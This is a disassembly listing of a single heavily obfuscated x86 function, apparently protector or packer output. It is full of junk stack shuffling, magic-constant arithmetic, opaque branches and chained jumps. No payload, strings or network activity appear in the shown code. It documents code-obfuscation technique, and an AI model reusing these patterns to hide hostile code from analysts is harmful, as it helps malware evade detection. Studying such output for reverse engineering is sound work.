		mov	esi, [esp+0AAh+var_AA]
		add	esp, 4
		and	edi, 2F8D6EE3h
		jp	loc_5A88CB
		add	edi, 0D0F30340h
		mov	eax, edi
		mov	ah, 0E6h


loc_5A5DC5:				; CODE XREF: sub_58A891+188A1j
		mov	eax, edx
		pop	edx
		jmp	loc_5AB8A1
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp+9Eh+var_9E], eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A5DDB:				; CODE XREF: sub_58A891+24907j
		pop	edx
		xor	ebx, [esp+9Eh+var_9E]
		xor	[esp+9Eh+var_9E], ebx
		jmp	loc_5AC224
; ---------------------------------------------------------------------------


loc_5A5DE7:				; CODE XREF: sub_58A891+1A7BBj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0B6h+var_B6]
		pop	esp
		shl	eax, 3
		and	eax, 4F7D3C96h
		sub	eax, 1
		sub	eax, 871207Bh
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xor	ebx, [esp+0AEh+var_AE]
		jmp	loc_5AC1B1
; ---------------------------------------------------------------------------


loc_5A5E17:				; CODE XREF: sub_58A891+1E283j
		add	edi, 4B3A13E6h
		pop	ecx
		push	esi
		mov	esi, 2E970B29h
		xor	esi, 2E970B29h
		jmp	loc_5A67FC
; ---------------------------------------------------------------------------


loc_5A5E2F:				; CODE XREF: sub_58A891+23FCFj
		push	esi
		mov	esi, 55FD2B73h
		jmp	loc_5A109B
; ---------------------------------------------------------------------------


loc_5A5E3A:				; CODE XREF: sub_58A891+185C4j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+96h+var_98+2]
		pop	esp
		mov	[esp+92h+var_94+2], eax
		mov	eax, 439B1AD1h
		xchg	eax, edx
		add	edx, 1
		xchg	eax, edx
		push	esi
		push	ecx
		mov	ecx, 2F091AE6h
		or	ecx, 50641F4Fh
		ja	loc_5A9D6A
		sub	ecx, 146F3935h
		xor	ecx, 575287EAh
		mov	esi, ecx


loc_5A5E7B:				; CODE XREF: sub_58A891+2750Bj
		mov	[esp+0], edi
		push	esp
		jmp	loc_59C75D
; ---------------------------------------------------------------------------


loc_5A5E84:				; CODE XREF: sub_58A891+23ED9j
		dec	ebp
		sub	ebp, 0D23434C3h
		and	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 739619D7h
		and	ebx, ecx
		jmp	loc_5A5693
; ---------------------------------------------------------------------------


loc_5A5E9B:				; CODE XREF: sub_58A891+1F50Bj
		sub	esp, 4
		mov	[esp+0A2h+var_A2], ecx
		push	3E49h
		push	esp
		jmp	loc_59F5CB
; ---------------------------------------------------------------------------


loc_5A5EAC:				; CODE XREF: sub_58A891+12B2Fj
		shl	esi, 2
		sub	esi, 1B28B95Eh
		xor	eax, esi
		pop	esi
		jmp	loc_5AFB88
; ---------------------------------------------------------------------------


loc_5A5EBD:				; CODE XREF: sub_58A891+21D49j
		xor	[esp+1Eh+var_20+2], edi
		xor	edi, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		mov	word ptr [esp+1Eh+var_20+2], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A5ECF:				; CODE XREF: sub_58A891:loc_5A7F32j
		xor	edi, 0F21C181Ch
		jmp	loc_5AE1C5
; ---------------------------------------------------------------------------


loc_5A5EDA:				; CODE XREF: sub_58A891+1304Dj
					; sub_58A891+1CA6Ej
		shl	esi, 1
		inc	esi
		jle	loc_5B2C7A
		jmp	loc_5B2F93
; ---------------------------------------------------------------------------
		add	esp, 4
		pop	edx
		inc	edx
		xchg	edx, ecx


loc_5A5EEF:				; CODE XREF: sub_58A891+12130j
		mov	[esp+0AEh+var_AE], ebx
		mov	ebx, 800h
		and	ecx, ebx
		push	[esp+0AEh+var_AE]
		pop	ebx
		jmp	loc_5A0B3E
; ---------------------------------------------------------------------------


loc_5A5F02:				; CODE XREF: sub_58A891+1FEA5j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0AEh+var_AE]
		mov	esp, [esp+0AEh+var_AE]
		jmp	loc_59DAB3
; ---------------------------------------------------------------------------


loc_5A5F18:				; CODE XREF: sub_58A891+15768j
		xor	ebp, edi
		pop	edi
		mov	edx, ebp
		mov	ebp, [esp+56h+var_58+2]
		add	esp, 4
		sub	ebx, 71036909h
		add	ebx, edx
		jmp	loc_5A53A5
; ---------------------------------------------------------------------------


loc_5A5F30:				; CODE XREF: sub_58A891+1BC09j
		shl	ebp, 1
		jmp	loc_5A2ACB
; ---------------------------------------------------------------------------


loc_5A5F37:				; CODE XREF: sub_58A891+1690Fj
		sub	esi, offset word_5B3E72
		sub	ebp, 27E65474h
		add	ebp, esi
		jmp	loc_5A7F08
; ---------------------------------------------------------------------------


loc_5A5F4A:				; CODE XREF: sub_58A891+212EEj
		xor	edi, [esp+5Ch+var_5C]
		xor	[esp+5Ch+var_5C], edi
		jmp	loc_59E803
; ---------------------------------------------------------------------------


loc_5A5F55:				; CODE XREF: sub_58A891+23008j
		xor	ebx, 1AA63DC7h
		jno	loc_5A454A
		jmp	loc_5ABDD2
; ---------------------------------------------------------------------------
		neg	ebp
		jmp	loc_5AC273
; ---------------------------------------------------------------------------


loc_5A5F6D:				; CODE XREF: sub_58A891+1680Dj
		pop	esp
		mov	[esp+16h+var_18+2], eax
		jmp	loc_59F09D
; ---------------------------------------------------------------------------


loc_5A5F76:				; CODE XREF: sub_58A891+13510j
		mov	eax, [esp+0BEh+var_BE]
		add	esp, 4
		push	987h
		mov	[esp+0BEh+var_BE], eax
		jmp	loc_5AC41A
; ---------------------------------------------------------------------------


loc_5A5F8C:				; CODE XREF: sub_58A891+11C62j
					; sub_58A891+2823Aj
		xor	ebp, [esp+3Ah+var_3C+2]
		mov	esp, [esp+3Ah+var_3C+2]
		mov	cx, word ptr [esp+3Ah+var_3C+2]
		push	1FF2h
		mov	[esp+3Eh+var_40+2], edi
		push	esp
		jmp	loc_5AA604
; ---------------------------------------------------------------------------


loc_5A5FA4:				; CODE XREF: sub_58A891+19649j
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 2
		add	ecx, 3388054Dh
		push	esi
		mov	esi, 3F123731h
		sub	esi, 0CDBA20FFh
		add	ecx, esi
		pop	esi
		push	edi
		mov	edi, 1A832A21h
		push	edx
		mov	edx, 21097367h
		and	edi, edx
		jmp	loc_59DCA0
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		push	0B8A35B9h
		push	[esp+4Eh+var_50+2]
		mov	ebx, [esp+52h+var_54+2]
		add	esp, 4
		add	esp, 4
		push	26DFh
		mov	[esp+4Eh+var_50+2], esi
		push	71C344A9h
		jmp	loc_59D28A
; ---------------------------------------------------------------------------


loc_5A600B:				; CODE XREF: sub_58A891+129E4j
		mov	ah, bl
		mov	dh, ah
		jmp	loc_59FD12
; ---------------------------------------------------------------------------


loc_5A6014:				; CODE XREF: sub_58A891+25899j
		pop	esp
		mov	[esp+96h+var_98+2], eax
		inc	[esp+96h+var_98+2]
		pop	eax
		push	ebp
		mov	ebp, 34BE44D8h
		jmp	loc_5A3914
; ---------------------------------------------------------------------------


loc_5A6027:				; CODE XREF: sub_58A891+1B3DDj
		shl	esi, 1
		push	ebp
		push	5E5Bh
		mov	[esp+0B2h+var_B2], ebx
		mov	ebx, 583C6EB0h
		inc	ebx
		push	ebp
		mov	ebp, 75F5393Eh
		shl	ebp, 5
		add	ebp, 46EF01BCh
		sub	ebx, ebp
		mov	ebp, [esp+0B6h+var_B6]
		add	esp, 4
		jmp	loc_5AF86C
; ---------------------------------------------------------------------------


loc_5A6057:				; CODE XREF: sub_58A891+277BEj
		add	edx, 4
		jmp	loc_5A126D
; ---------------------------------------------------------------------------


loc_5A6062:				; CODE XREF: sub_58A891+24685j
		add	ebp, ecx
		push	ebx
		mov	ebx, 4D560590h
		neg	ebx
		push	eax
		mov	eax, 3F6E5149h
		and	ebx, eax
		pop	eax
		jmp	loc_59DADE
; ---------------------------------------------------------------------------


loc_5A607A:				; CODE XREF: sub_58A891+132BCj
					; sub_58A891+1881Fj
		push	edi
		jmp	loc_5A496A
; ---------------------------------------------------------------------------


loc_5A6080:				; CODE XREF: sub_58A891+151A9j
		mov	edi, 4D852467h
		mov	ebp, edi
		jmp	loc_5A4455
; ---------------------------------------------------------------------------


loc_5A608C:				; CODE XREF: sub_58A891+27307j
		pop	ebp
		jmp	loc_5ABCB6
; ---------------------------------------------------------------------------


loc_5A6092:				; CODE XREF: sub_58A891+23E92j
		push	493945B2h
		pop	edi
		add	edi, 0FFFFFFFFh
		xor	edi, 16D3655Ch
		jmp	loc_5AC133
; ---------------------------------------------------------------------------


loc_5A60A9:				; CODE XREF: sub_58A891+1DB6Dj
		neg	eax
		and	eax, 679C1659h
		xor	eax, 71F646BBh
		or	eax, 380F1D78h
		sub	eax, 409563EBh
		xor	eax, 0F9D9FC0Bh
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp+6+var_8+2]
		jmp	loc_5A8817
; ---------------------------------------------------------------------------


loc_5A60CF:				; CODE XREF: sub_58A891+1C10Fj
		xchg	ecx, [esp+6+var_8+2]
		pop	esp
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, 5042202Dh
		add	ebx, eax
		push	esi
		jmp	loc_5AACDD
; ---------------------------------------------------------------------------


loc_5A60EA:				; CODE XREF: sub_58A891+23AE8j
		mov	eax, edx
		pop	edx
		add	ebx, 7B2B534Eh
		add	ebx, eax
		jmp	loc_5B2266
; ---------------------------------------------------------------------------


loc_5A60FA:				; CODE XREF: sub_58A891+16EDFj
		mov	[esp+16h+var_18+2], ebx
		push	[esp+16h+var_14+2]
		push	[esp+1Ah+var_1C+2]
		mov	ebx, [esp+1Eh+var_20+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 73521D04h
		sub	ecx, 0FDF2FEDh
		jmp	loc_59D939
; ---------------------------------------------------------------------------


loc_5A6129:				; CODE XREF: sub_58A891+20440j
					; sub_58A891+21A44j
		add	ecx, 0A9284F15h
		mov	edi, ecx
		mov	ecx, [esp+22h+var_24+2]
		push	edi
		jmp	loc_5A666A
; ---------------------------------------------------------------------------


loc_5A613A:				; CODE XREF: sub_58A891+1ABE9j
					; sub_58A891+2857Fj
		shr	edx, 7
		xor	edx, 6762DAh
		sub	esi, edx
		mov	edx, [esp+0B6h+var_B6]
		add	esp, 4
		xchg	esi, [esp+0B2h+var_B2]
		pop	esp
		mov	[esp+0AEh+var_AE], edx
		sub	esp, 4
		mov	[esp+0B2h+var_B2], ebx
		mov	bl, al
		push	4E54h
		mov	[esp+0B6h+var_B6], eax
		mov	ah, bl
		mov	dl, ah
		pop	eax
		push	[esp+0B2h+var_B2]
		jmp	loc_5AE078
; ---------------------------------------------------------------------------


loc_5A6175:				; CODE XREF: sub_58A891:loc_59D4DAj
		mov	cx, word ptr [esp+26h+var_28+2]
		push	ebx
		push	7E0Bh
		mov	[esp+2Eh+var_30+2], esp
		add	[esp+2Eh+var_30+2], 4
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	edi
		push	51E1h
		mov	[esp+32h+var_34+2], eax
		mov	eax, 36F429D8h
		jmp	loc_5A6359
; ---------------------------------------------------------------------------


loc_5A61A3:				; CODE XREF: sub_58A891+17478j
		pop	ebp
		add	esi, 1
		jmp	loc_5AAC68
; ---------------------------------------------------------------------------


loc_5A61AF:				; CODE XREF: sub_58A891+1C3D4j
		mov	[esp+60h+var_60], edi
		mov	edi, 3BC14600h
		add	ecx, 0BD17359h
		sub	ecx, edi
		sub	ecx, 0BD17359h
		jmp	loc_59DDC0
; ---------------------------------------------------------------------------


loc_5A61CA:				; CODE XREF: sub_58A891+19BCEj
		or	edx, ebp
		pop	ebp
		add	edx, 1
		add	edx, 1
		add	edx, 104ADAA7h
		jmp	loc_5B1680
; ---------------------------------------------------------------------------


loc_5A61E1:				; CODE XREF: sub_58A891+23E36j
		push	eax
		sub	esp, 4
		mov	[esp+0A8h+var_AA+2], ebx
		jmp	loc_5A9909
; ---------------------------------------------------------------------------


loc_5A61ED:				; CODE XREF: sub_58A891+258B0j
		add	esp, 4
		jmp	loc_5B0869
; ---------------------------------------------------------------------------


loc_5A61F5:				; CODE XREF: sub_58A891+237E2j
		add	esp, 4
		sub	ebp, 3D5C17F5h
		jmp	loc_5A513B
; ---------------------------------------------------------------------------


loc_5A6206:				; CODE XREF: sub_58A891+16A3Cj
		xor	ecx, 108599Eh
		sub	edi, ecx
		pop	ecx
		push	edi
		push	[esp+60h+var_5C]
		pop	edi
		pop	[esp+60h+var_60]
		pop	esp
		mov	[esp+58h+var_58], esi
		jmp	loc_5AEC33
; ---------------------------------------------------------------------------


loc_5A6221:				; CODE XREF: sub_58A891+25EDEj
		add	ebx, 0AC6BBD34h
		sub	esi, ebx
		jmp	loc_5A5772
; ---------------------------------------------------------------------------


loc_5A622E:				; CODE XREF: sub_58A891+1D2D3j
		or	ebp, 5B5D629Fh
		not	ebp
		add	ebp, 4BE12F09h
		sub	ebp, 4FE13345h
		add	esi, ebp
		jmp	loc_5A9B1C
; ---------------------------------------------------------------------------


loc_5A6249:				; CODE XREF: sub_58A891+190E3j
					; sub_58A891+20289j
		add	edi, edx
		push	[esp+0B6h+var_B6]
		pop	edx
		add	esp, 4
		xor	edi, [esp+0B2h+var_B2]
		xor	[esp+0B2h+var_B2], edi
		jmp	loc_5ADB5B
; ---------------------------------------------------------------------------


loc_5A6260:				; CODE XREF: sub_58A891+1E3C0j
		pop	esp


loc_5A6261:				; CODE XREF: sub_58A891+25191j
		push	eax
		mov	eax, esp
		jmp	loc_5AE0E2
; ---------------------------------------------------------------------------


loc_5A6269:				; CODE XREF: sub_58A891+1A4A0j
					; sub_58A891+27704j
		xchg	ecx, edi
		pop	ecx
		push	ebx
		mov	ebx, 400478F6h
		push	0E30h
		mov	[esp+1Ah+var_1C+2], ebp
		mov	ebp, 7F293D80h
		jmp	loc_5A8FE5
; ---------------------------------------------------------------------------


loc_5A6284:				; CODE XREF: sub_58A891+266F9j
		push	edi
		mov	edi, 35490A5Ah
		mov	ebx, edi
		pop	edi
		jmp	loc_5AE754
; ---------------------------------------------------------------------------


loc_5A6292:				; CODE XREF: sub_58A891+25FA0j
		add	ecx, 4
		xor	ecx, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], ecx
		xor	ecx, [esp+1Ah+var_1C+2]
		pop	esp
		add	edi, 188F4C17h
		add	edi, ebx
		push	ebx
		push	ecx
		push	27E01D1Ah
		mov	ecx, [esp+22h+var_24+2]
		add	esp, 4
		or	ecx, 51EC4945h
		add	ecx, 34107B87h
		inc	ecx
		jz	loc_5B23B0
		sub	ecx, 0A824880Eh
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5A8F5A
; ---------------------------------------------------------------------------


loc_5A62D8:				; CODE XREF: sub_58A891+23D3Aj
		push	edi
		mov	edi, 11944EC9h
		jmp	loc_59C967
; ---------------------------------------------------------------------------


loc_5A62E3:				; CODE XREF: sub_58A891+20857j
		xor	ebx, 42590C78h
		jmp	loc_5B2E92
; ---------------------------------------------------------------------------


loc_5A62EE:				; CODE XREF: sub_58A891+125F4j
		push	eax
		mov	eax, 3C3C0C3Ah
		neg	eax
		jmp	loc_5A0046
; ---------------------------------------------------------------------------


loc_5A62FB:				; CODE XREF: sub_58A891+198A7j
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		sub	esi, ecx
		pop	ecx
		jmp	loc_5A4194
; ---------------------------------------------------------------------------


loc_5A6311:				; CODE XREF: sub_58A891:loc_5A2431j
		or	ch, 2Bh
		jmp	loc_5A498E
; ---------------------------------------------------------------------------


loc_5A6319:				; CODE XREF: sub_58A891+25934j
		push	esi
		mov	esi, 6DCD3B8Fh
		not	esi
		dec	esi
		jo	loc_5AC51D
		shr	esi, 2
		sub	esi, 0A1CA1E8h
		mov	edi, esi
		pop	esi
		sub	edi, 0F7728C7h
		add	edi, 1
		push	edi
		neg	[esp+0CCh+var_CE+2]
		pop	edi
		push	edx
		push	eax
		mov	eax, 3E80EBBAh
		mov	edx, eax
		pop	eax
		add	edi, 59B00106h
		add	edi, edx
		jmp	loc_5A99DB
; ---------------------------------------------------------------------------


loc_5A6359:				; CODE XREF: sub_58A891+1B90Dj
		push	esi
		mov	esi, 7D6D7193h
		add	esi, 24B83BC6h
		shl	esi, 7
		and	esi, 7CD90D9Ah
		jmp	loc_5AB766
; ---------------------------------------------------------------------------


loc_5A6373:				; CODE XREF: sub_58A891+199CDj
		push	edx
		mov	dl, 1
		add	al, dl
		pop	edx
		xchg	ch, al
		not	ch
		xchg	ch, al
		jmp	loc_5A59FD
; ---------------------------------------------------------------------------


loc_5A6384:				; CODE XREF: sub_58A891+282B4j
		shr	ah, 3
		add	ah, 78h
		sub	bl, 0B3h
		add	bl, ah
		jmp	loc_59F69F
; ---------------------------------------------------------------------------


loc_5A6394:				; CODE XREF: sub_58A891+25A7Aj
		xchg	edi, [esp+42h+var_44+2]
		jmp	loc_5A918D
; ---------------------------------------------------------------------------


loc_5A639C:				; CODE XREF: sub_58A891+12618j
		xor	ebx, esi
		xor	esi, ebx
		jmp	loc_5A1769
; ---------------------------------------------------------------------------


loc_5A63A5:				; CODE XREF: sub_58A891+22F82j
		push	ebx
		mov	ebx, 498839C5h
		inc	ebx
		push	550Dh
		mov	[esp+0A0h+var_A2+2], ebp
		push	edx
		push	ecx
		mov	ecx, 44073404h
		not	ecx
		jmp	loc_5AD97A
; ---------------------------------------------------------------------------


loc_5A63C2:				; CODE XREF: sub_58A891+194D0j
		xchg	cl, al
		not	cl
		jmp	loc_5AB3DE
; ---------------------------------------------------------------------------


loc_5A63CB:				; CODE XREF: sub_58A891+1AD5Ej
		mov	edi, 4EA73EE1h
		xor	edi, 14ED1C39h
		sub	edi, 359544E4h
		not	edi
		xchg	ecx, edi
		xchg	eax, ecx
		not	eax
		xchg	eax, ecx
		xchg	ecx, edi
		inc	edi
		push	esi
		push	ecx
		mov	ecx, 74C14998h
		mov	esi, ecx
		pop	ecx
		xchg	ebx, esi
		push	ebx
		not	[esp+0AEh+var_AE]
		pop	ebx
		jmp	loc_5A6878
; ---------------------------------------------------------------------------


loc_5A63FD:				; CODE XREF: sub_58A891+22394j
		sub	esp, 4
		mov	[esp+0AEh+var_AE], ebp
		mov	ebp, 36E75304h
		dec	ebp
		jmp	loc_59F6F4
; ---------------------------------------------------------------------------


loc_5A640E:				; CODE XREF: sub_58A891+1AC96j
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_59EF2B
; ---------------------------------------------------------------------------


loc_5A6417:				; CODE XREF: sub_58A891+17506j
		xor	ecx, 76CD8EF7h
		mov	eax, ecx
		pop	ecx
		jmp	loc_59D0FC
; ---------------------------------------------------------------------------


loc_5A6425:				; CODE XREF: sub_58A891+1AB22j
		mov	ebx, [esp+0B6h+var_B6]
		add	esp, 4
		push	44A2h
		mov	[esp+0B6h+var_B6], edx
		jmp	loc_5AED87
; ---------------------------------------------------------------------------


loc_5A643B:				; CODE XREF: sub_58A891+165DCj
		jmp	loc_5AD5D1
; ---------------------------------------------------------------------------


loc_5A6440:				; CODE XREF: sub_58A891+19279j
		sub	edi, 0A92B10CCh
		inc	edi
		sub	edi, 7CDB54C4h
		shr	edi, 2
		sub	esp, 4
		mov	[esp+12h+var_14+2], eax
		mov	eax, 277E869Ah
		jmp	loc_5A21D0
; ---------------------------------------------------------------------------


loc_5A6460:				; CODE XREF: sub_58A891+11A4Cj
		shr	ebp, 8
		jmp	loc_5A5781
; ---------------------------------------------------------------------------


loc_5A6468:				; CODE XREF: sub_58A891+1A8A5j
		jge	loc_5A9480
		xchg	ebx, edx
		push	ebx
		not	[esp+16h+var_18+2]
		pop	ebx
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		mov	bh, al


loc_5A647D:				; CODE XREF: sub_58A891+1281Dj
		mov	edx, [esp+0A2h+var_A2]
		add	esp, 4
		and	eax, edx
		pop	edx
		jmp	loc_59EA75
; ---------------------------------------------------------------------------


loc_5A648B:				; CODE XREF: sub_58A891+19A81j
		push	ecx
		push	497Dh
		mov	[esp+9Ch+var_9E+2], ebp
		mov	ebp, 0EC502E5h
		inc	ebp
		jnp	loc_5A5F30
		shl	ebp, 1
		jmp	loc_5AA081
; ---------------------------------------------------------------------------
		sub	esi, offset word_5B3E72


loc_5A64AD:				; CODE XREF: sub_58A891+1CFFDj
		mov	[esp+9Ch+var_9E+2], edx
		push	eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A64B7:				; CODE XREF: sub_58A891+17692j
		pop	edx
		push	ecx
		mov	ecx, 7C1B67ECh
		jmp	loc_5AF7F3
; ---------------------------------------------------------------------------


loc_5A64C3:				; CODE XREF: sub_58A891+17C22j
		sub	ebx, edi
		jmp	loc_5AAE08
; ---------------------------------------------------------------------------


loc_5A64CA:				; CODE XREF: sub_58A891+1AD4Bj
		mov	edx, esi
		pop	esi
		push	edi
		mov	edi, 423D58BAh
		jmp	loc_5AEE16
; ---------------------------------------------------------------------------


loc_5A64D8:				; CODE XREF: sub_58A891+138BCj
					; sub_58A891+1844Fj
		inc	edx
		sub	edx, 0E0C3128Bh
		sub	ebp, edx
		pop	edx
		add	ebp, 0FFFFFFFFh
		xor	ebp, 225C363Fh
		add	ebp, 710DF97h
		add	eax, ebp
		pop	ebp
		sub	ecx, eax
		pop	eax
		jmp	loc_5A80AA
; ---------------------------------------------------------------------------


loc_5A64FF:				; CODE XREF: sub_58A891+17C68j
		jmp	loc_5AF7A8
; ---------------------------------------------------------------------------


loc_5A6504:				; CODE XREF: sub_58A891+23877j
		mov	ebx, esp
		jmp	loc_5A8AA4
; ---------------------------------------------------------------------------


loc_5A650B:				; CODE XREF: sub_58A891+27A06j
		mov	[esp+4Eh+var_50+2], ebx
		push	eax
		push	ecx
		mov	cl, dl
		mov	al, cl
		pop	ecx
		mov	bl, al
		mov	eax, [esp+52h+var_54+2]
		add	esp, 4
		push	ecx
		mov	cl, bl
		mov	al, cl
		pop	ecx
		mov	ebx, [esp+4Eh+var_50+2]
		jmp	loc_5A69D0
; ---------------------------------------------------------------------------


loc_5A652B:				; CODE XREF: sub_58A891+1CEEEj
		push	esp
		pop	[esp+52h+var_54+2]
		push	edi
		push	esi
		mov	esi, 4
		mov	edi, esi
		pop	esi
		add	[esp+52h+var_50+2], 72C51B00h
		add	[esp+52h+var_50+2], edi
		push	eax
		mov	eax, 72C51B00h
		sub	[esp+56h+var_50+2], 64DB0C64h
		jmp	loc_5A52E5
; ---------------------------------------------------------------------------


loc_5A6558:				; CODE XREF: sub_58A891+1762Dj
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp+9Ch+var_9E+2]
		mov	esp, [esp+9Ch+var_9E+2]
		mov	[esp+9Ch+var_9E+2], edx
		jmp	loc_59CB0B
; ---------------------------------------------------------------------------


loc_5A656F:				; CODE XREF: sub_58A891+1A117j
		pop	ebx
		neg	edx
		xor	edx, 0B45042A7h
		push	edx
		mov	edx, 2E4A5153h
		add	ebx, edx
		pop	edx
		add	ebx, edx
		push	esi
		jmp	loc_5AF91A
; ---------------------------------------------------------------------------


loc_5A6589:				; CODE XREF: sub_58A891+1893Dj
		add	esp, 2
		mov	dx, bp
		mov	ebp, [esp+0F2h+var_F4+2]
		add	esp, 4
		add	ax, dx
		mov	dx, word ptr [esp+0EEh+var_F0+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A1C22
; ---------------------------------------------------------------------------


loc_5A65AA:				; CODE XREF: sub_58A891+2504Aj
		add	edx, eax
		add	edx, 275415C1h
		pop	eax
		xor	edx, [esp+0EEh+var_F0+2]
		xor	[esp+0EEh+var_F0+2], edx
		xor	edx, [esp+0EEh+var_F0+2]
		jmp	loc_5AC931
; ---------------------------------------------------------------------------


loc_5A65C1:				; CODE XREF: sub_58A891+21A95j
		xor	esi, 6CA249A5h
		jmp	loc_5A7068
; ---------------------------------------------------------------------------


loc_5A65CC:				; CODE XREF: sub_58A891+2038Fj
		sub	edx, 67C35308h
		sub	edx, 1
		jmp	loc_5B17BE
; ---------------------------------------------------------------------------


loc_5A65DA:				; CODE XREF: sub_58A891+261E3j
		push	eax
		mov	eax, esp
		jmp	loc_5A76D7
; ---------------------------------------------------------------------------


loc_5A65E2:				; CODE XREF: sub_58A891+1F914j
		mov	esi, 58974716h
		shl	esi, 6
		jmp	loc_5ADE1C
; ---------------------------------------------------------------------------


loc_5A65EF:				; CODE XREF: sub_58A891+17AB0j
					; sub_58A891+23256j
		xor	esi, 0F824C57Dh
		sub	ecx, esi
		pop	esi
		xor	ecx, 391A6CECh
		sub	ecx, 25461EA4h
		jmp	loc_5B07D8
; ---------------------------------------------------------------------------


loc_5A6609:				; CODE XREF: sub_58A891:loc_5B08D3j
		inc	bl
		jmp	loc_5A8684
; ---------------------------------------------------------------------------


loc_5A6610:				; CODE XREF: sub_58A891+22F68j
		add	esp, 4
		shl	edx, 4
		jnp	loc_5AF4F2
		dec	edx
		jmp	loc_59E393
; ---------------------------------------------------------------------------


loc_5A6622:				; CODE XREF: sub_58A891+1A282j
		pop	ebp
		add	esp, 4
		add	eax, 4
		jmp	loc_5A2942
; ---------------------------------------------------------------------------


loc_5A6633:				; CODE XREF: sub_58A891+12465j
		mov	esi, [esp+0A2h+var_A2]
		jmp	loc_5B0999
; ---------------------------------------------------------------------------


loc_5A663B:				; CODE XREF: sub_58A891+134B9j
					; sub_58A891+219C4j
		sub	ebx, 2CBEA6ACh
		xor	esi, ebx
		jmp	loc_5B00FF
; ---------------------------------------------------------------------------


loc_5A6648:				; CODE XREF: sub_58A891+1D266j
		pop	ecx
		jmp	loc_5AAA13
; ---------------------------------------------------------------------------


loc_5A664E:				; CODE XREF: sub_58A891+230EBj
		add	ecx, 2C2F3D6Fh
		mov	edx, ecx
		pop	ecx
		mov	ebp, edx
		pop	edx
		xor	ebx, ebp
		pop	ebp
		xor	ebx, 527FCB67h
		add	ebp, ebx
		jmp	loc_5B2E2F
; ---------------------------------------------------------------------------


loc_5A666A:				; CODE XREF: sub_58A891+1B8A4j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5AB70F
; ---------------------------------------------------------------------------


loc_5A6677:				; CODE XREF: sub_58A891+280A4j
		mov	esp, [esp+26h+var_28+2]
		mov	ax, word ptr [esp+26h+var_28+2]
		push	78A9h
		jmp	loc_5ACDCD
; ---------------------------------------------------------------------------


loc_5A6688:				; CODE XREF: sub_58A891+20EE4j
		or	eax, esi
		pop	esi
		xchg	eax, edx
		add	edx, 0FFFFFFFFh
		jmp	loc_59F80F
; ---------------------------------------------------------------------------


loc_5A6697:				; CODE XREF: sub_58A891+135E4j
		shl	ecx, 6
		xor	ecx, 0B7DFFB84h
		push	ebp
		mov	ebp, 5D95339Ah
		shr	ebp, 4
		add	ebp, 0FFFFFFFFh
		dec	ebp
		push	ecx
		mov	ecx, 1E770939h
		add	ebp, ecx
		pop	ecx
		jmp	loc_5B1F6C
; ---------------------------------------------------------------------------


loc_5A66BE:				; CODE XREF: sub_58A891+155EBj
		sub	eax, 0CD86A570h
		mov	ebx, eax
		push	[esp+20h+var_20]
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_5ABC4E
; ---------------------------------------------------------------------------


loc_5A66D1:				; CODE XREF: sub_58A891+179EAj
		mov	esp, [esp+0A6h+var_A6]
		push	[esp+0A6h+var_A6]
		mov	eax, [esp+0AAh+var_AA]
		add	esp, 4
		jmp	loc_59F7DD
; ---------------------------------------------------------------------------


loc_5A66E2:				; CODE XREF: sub_58A891+12FC5j
		mov	[esp+0ACh+var_AE+2], esi
		jmp	loc_59EF94
; ---------------------------------------------------------------------------


loc_5A66EA:				; CODE XREF: sub_58A891+1A40Cj
		add	esi, 4
		sub	esi, 4
		jmp	loc_5B0A4C
; ---------------------------------------------------------------------------


loc_5A66F8:				; CODE XREF: sub_58A891+24548j
					; sub_58A891+2786Cj
		sub	esi, 7B0AC20h
		sub	eax, esi
		pop	esi
		mov	esi, eax
		jmp	loc_5B108E
; ---------------------------------------------------------------------------


loc_5A6708:				; CODE XREF: sub_58A891+20D51j
					; sub_58A891:loc_5AD465j
		sub	edi, 126F55CDh
		push	ebp
		mov	ebp, 4DD46125h
		push	ebx
		jmp	loc_5AAF31
; ---------------------------------------------------------------------------


loc_5A671A:				; CODE XREF: sub_58A891+125D1j
		pop	ecx
		add	ecx, 4
		jmp	loc_5B1BFB
; ---------------------------------------------------------------------------


loc_5A6726:				; CODE XREF: sub_58A891+21902j
		push	1D67h
		mov	[esp+98h+var_98], eax
		push	[esp+98h+var_94]
		pop	eax
		pop	[esp+98h+var_98]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_5A040D
; ---------------------------------------------------------------------------


loc_5A673F:				; CODE XREF: sub_58A891+1C190j
		push	7463h
		mov	[esp+98h+var_98], edx
		push	2A9h
		mov	[esp+9Ch+var_9E+2], edi
		mov	edi, 30C25D9h
		push	esi
		mov	esi, 0A697BD8h
		shr	esi, 8
		push	ecx
		jmp	loc_5A43B3
; ---------------------------------------------------------------------------


loc_5A6763:				; CODE XREF: sub_58A891+18891j
		jg	loc_5B2AD0
		jmp	loc_5ACE71
; ---------------------------------------------------------------------------


